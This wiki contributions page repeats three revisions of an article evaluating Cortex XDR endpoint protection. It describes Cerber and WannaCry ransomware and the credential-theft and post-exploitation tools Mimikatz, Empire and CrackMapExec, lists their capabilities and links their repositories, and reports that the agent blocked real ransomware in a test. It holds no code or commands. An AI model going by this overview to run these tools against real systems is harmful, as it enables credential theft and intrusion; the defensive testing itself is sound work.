Elvis Wiki - User contributions [en]

Endpoint security using Cortex XDR

2023-02-03T16:56:17Z

AAmmann: /* Used Hardware */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

=== Installation ===

From Cortex XDR, select Endpoints → Agent Installations.
Create a new installation package.
Enter a unique Name and an optional Description to identify the installation package.
Select the Package Type.

Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Specify the installation package settings.
Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

=== Execution Phase ===

We executed the WannaCry and Cerber Ransomware on our Endpoint where the Agent was installed. The Agent blocked the executions and uploaded the data to a webUI. On the WebUI, we were able to analyse the blocked attack and view the processes which would have been generated on a Sandbox called Wildfire.

== Used Hardware ==

Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== Results ==

Cortex XDR was able to prevent all attacks including the real ransomware execution mentioned in the "Ransomware" section. We got a precise analysis of processes which were considered abnormal or malicious. Cortex XDR recognizes behaviour related to known exploits which is then reported and blocked immediately.

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:56:07Z

AAmmann: /* Execution Phase */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

=== Installation ===

From Cortex XDR, select Endpoints → Agent Installations.
Create a new installation package.
Enter a unique Name and an optional Description to identify the installation package.
Select the Package Type.

Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Specify the installation package settings.
Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

=== Execution Phase ===

We executed the WannaCry and Cerber Ransomware on our Endpoint where the Agent was installed. The Agent blocked the executions and uploaded the data to a webUI. On the WebUI, we were able to analyse the blocked attack and view the processes which would have been generated on a Sandbox called Wildfire.

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== Results ==

Cortex XDR was able to prevent all attacks including the real ransomware execution mentioned in the "Ransomware" section. We got a precise analysis of processes which were considered abnormal or malicious. Cortex XDR recognizes behaviour related to known exploits which is then reported and blocked immediately.

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:55:54Z

AAmmann: /* Execution Phase */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

=== Installation ===

From Cortex XDR, select Endpoints → Agent Installations.
Create a new installation package.
Enter a unique Name and an optional Description to identify the installation package.
Select the Package Type.

Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Specify the installation package settings.
Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

=== Execution Phase ===

We executed the WannaCry and Cerber Ransomware on our Endpoint where the Agent was installed. The Agent blocked the executions and uploaded the data to a webUI. On the WebUI, we were able to analyse the blocked attack and view the processes which would have been generated on a Sandbox called Wildfire

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
